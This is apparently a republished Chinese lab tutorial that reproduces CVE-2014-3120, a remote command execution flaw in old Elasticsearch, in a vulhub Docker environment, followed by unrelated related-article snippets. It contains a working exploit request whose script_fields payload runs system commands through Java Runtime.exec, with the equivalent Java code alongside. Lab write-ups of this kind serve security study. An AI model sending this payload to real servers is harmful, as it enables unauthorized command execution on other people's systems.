CVE-2014-3120 (命令执行漏洞)

news/2025/2/12 18:00:49/

环境配置

vulhub环境搭建

https://blog.csdn.net/qq_36374896/article/details/84102101

启动docker环境

cd vulhub-master/elasticsearch/CVE-2014-3120/
sudo docker-compose up

在这里插入图片描述
9200 端口已开启

访问目标的9200,会出现Elasticsearch的信息:

在这里插入图片描述

利用该漏洞要求Elasticsearch中有数据,所以先创建一条数据,采用Burp发送数据包:

POST /website/blog/  HTTP/1.1
Host: 192.168.91.130:9200
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 27{"name": "colleget"
}

返回201状态码,代表创建成功:
在这里插入图片描述

利用该漏洞的Payload如下:

POST /_search?pretty HTTP/1.1
Host: 192.168.91.130:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 368{"size": 1,"query": {"filtered": {"query": {"match_all": {}}}},"script_fields": {"command": {"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"}}
}}
}

其中JAVA等价于:

String s1 = new java.util.Scanner(Runtime.getRuntime().exec("ipconfig").getInputStream()).useDelimiter("\\A").next();
//A means "start of string", and \z means "end of string".
String s2  = new java.util.Scanner(Runtime.getRuntime().exec("ipconfig").getInputStream()).next();
System.out.println(s1);

在这里插入图片描述


http://www.ppmy.cn/news/405477.html

相关文章

3120卷

今天算了一下,突然发现了古人读书破万卷有些难度: 1(一本)*52(一年52周)*60(从20岁开始活到80岁)3120本 只达到古人的万卷的1/3不到呀!

LTV-3120-ASEMI代理台湾光宝原装光耦LTV-3120

编辑:ll LTV-3120-ASEMI代理台湾光宝原装光耦LTV-3120 型号:LTV-3120 品牌:光宝 封装:DIP-8 特性:IGBT驱动器、储能专用光耦\高速光耦 LTV-3120应用: IGBT/MOSFET栅极驱动 不间断电源&a…

研华PPC-3120 工控机增加CAN-BUS接口

第一:PPC-3120 是一款新型的12.1"工业平板电脑,搭载 Intel Atom D2550处理器,可满足严苛环境下的多种需求。基于无风扇设计,PPC-3120 在设备制造行业应用中,运行更稳定可靠。除此之外, 双 GbE LAN, 4 x 串口, 4 x…

HCPL3120手册翻译

HCPL3120手册翻译 首先HCPL3120是一个2.5A电流输出的IGBT门极驱动光电耦合器。 Description: HCPL3120包含一个磷砷化镓的发光LED,该LED被光电耦合于一个带有功率输出级的集成电路上。这些光耦合器适用于驱动应用在电机控制逆变器功率igbt和mosfet。输…

[Vulfocus解题系列]ElasticSearch命令执行漏洞(CVE-2014-3120)

漏洞介绍 Elasticsearch 是一个基于 Lucene 库的搜索引擎,具有 HTTP Web 接口和无模式 JSON 文档。Elasticsearch 是用 Java 开发的,其支持 MVEL、js、Java 等语言,其老版本默认语言为 MVEL。 MVEL :一个被众多 Java 项目使用的开源的表达式…

elasticsearch 代码执行 (CVE-2014-3120)

[TOC]( elasticsearch 代码执行 (CVE-2014-3120) ) 所有文章,仅供安全研究与学习之用,后果自负! elasticsearch 代码执行 (CVE-2014-3120) ElasticSearch是一个基于Lucene构建的开源,分布式,RESTful搜索引擎。设计用于云计算中&…

vulfocus——elasticsearch代码执行(CVE-2014-3120)

描述 Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。 ElasticSearch默认配置是打开动态脚本功能的,因此用户可以直接使用http请求,通过_search方法的参数传入恶意代码&…

机器学习之在线模型简单部署,基于ONNX技术

文章目录 一,onnx二,onnx的作用1. 提高模型的互操作性:2. 加速推理引擎的开发:3. 改进模型优化和调试: 三,onnx的应用场景四,onnx模型部署涉及的主要函数1. onnxruntime.InferenceSession&#…